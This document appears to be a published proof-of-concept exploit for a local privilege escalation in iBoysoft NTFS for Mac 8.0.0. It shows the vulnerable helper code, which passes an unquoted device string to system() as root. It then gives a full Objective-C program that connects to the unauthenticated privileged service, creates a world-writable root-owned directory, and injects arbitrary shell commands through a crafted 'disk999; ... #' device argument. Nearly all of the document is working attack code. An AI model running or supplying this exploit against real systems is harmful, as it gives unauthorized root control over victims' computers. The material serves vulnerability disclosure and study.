iBoysoft NTFS for Mac 8.0.0 - Local Privilege Escalation

@protocol NHDiskManager
- (void)fixLicPermissions;
- (int)mountAsNTFS:(NSString *)device 
           withKey:(NSString *)key 
          withMode:(BOOL)mode 
          withFlag:(BOOL)flag;
- (void)unmount:(NSString *)device withFlag:(BOOL)flag;
- (int)firstAid:(NSString *)device 
        withKey:(NSString *)key 
       withFlag:(NSString *)flag;
- (int)eraseNTFS:(NSString *)device;
@end

int mountAsNTFSUsingFS(id self, SEL _cmd, id device) {
    NSString *cmd = [NSString stringWithFormat:
        @"sudo /Library/Filesystems/iboysoft_NTFS.fs/Contents/Resources/mount_iboysoft_NTFS /dev/%@ '%@'",
        device,      // ← User-controlled, not quoted
        mountPath];
    
    system([cmd UTF8String]);  // ← Executes as root
}

/*
 * iBoysoft NTFS Helper - Local Privilege Escalation PoC
 */
#import <Foundation/Foundation.h>
#include <sys/stat.h>
#include <unistd.h>

@protocol ServiceHelper
- (id)makeDiskManager;
@end

@protocol NHDiskManager
- (int)mountAsNTFS:(NSString *)device 
           withKey:(NSString *)key 
          withMode:(BOOL)mode 
          withFlag:(BOOL)flag;
- (void)fixLicPermissions;
@end

int main(int argc, char *argv[]) {
    @autoreleasepool {
        NSString *command;
        
        if (argc > 1) {
            command = [NSString stringWithUTF8String:argv[1]];
        } else {
            command = @"id > /tmp/lpe_proof.txt";
        }
        
        printf("[*] iBoysoft NTFS LPE - Executing: %s\n", [command UTF8String]);
        printf("[*] Current UID: %d\n\n", getuid());
        
        // Step 1: Connect to unauthenticated service
        id rootProxy = [NSConnection 
            rootProxyForConnectionWithRegisteredName:@"com.iboysoft.ntfsformac.serverhelper" 
            host:nil];
        
        if (!rootProxy) {
            printf("[-] Service not running\n");
            return 1;
        }
        
        @try {
            // Step 2: Get DiskManager instance
            id<ServiceHelper> serviceHelper = (id<ServiceHelper>)rootProxy;
            NSString *connectionName = [serviceHelper makeDiskManager];
            
            id<NHDiskManager> diskManager = (id<NHDiskManager>)[NSConnection 
                rootProxyForConnectionWithRegisteredName:connectionName 
                host:nil];
            
            if (!diskManager) {
                return 1;
            }
            
            printf("[+] Connected to privileged service (no authentication required)\n\n");
            
            // Step 3: Execute privileged operation
            printf("[*] Method 1: fixLicPermissions\n");
            [diskManager fixLicPermissions];
            printf("[+] Created /private/var/iboysoft with 777 permissions as root\n\n");
            
            // Step 4: Write exploit payload
            NSString *payload = [NSString stringWithFormat:@"#!/bin/sh\n%@\n", command];
            [payload writeToFile:@"/private/var/iboysoft/exploit.sh" 
                      atomically:YES 
                        encoding:NSUTF8StringEncoding 
                           error:nil];
            chmod("/private/var/iboysoft/exploit.sh", 0755);
            
            // Step 5: Command injection via mount
            printf("[*] Method 2: Command injection via mountAsNTFS\n");
            NSString *injectionPayload = [NSString stringWithFormat:
                @"disk999; %@ #", command];
            
            @try {
                [diskManager mountAsNTFS:injectionPayload 
                                 withKey:@"" 
                                withMode:NO 
                                withFlag:NO];
            } @catch (NSException *e) {
                printf("[*] Mount operation failed (expected)\n");
            }
            
            sleep(1);
            
            // Verify exploitation
            if ([[NSFileManager defaultManager] fileExistsAtPath:@"/tmp/lpe_proof.txt"]) {
                printf("\n[+++] SUCCESS! Command executed as root\n");
                system("cat /tmp/lpe_proof.txt");
                printf("\n");
            }
            
        } @catch (NSException *e) {
            printf("[-] Error: %s\n", [[e reason] UTF8String]);
        }
    }
    
    return 0;
}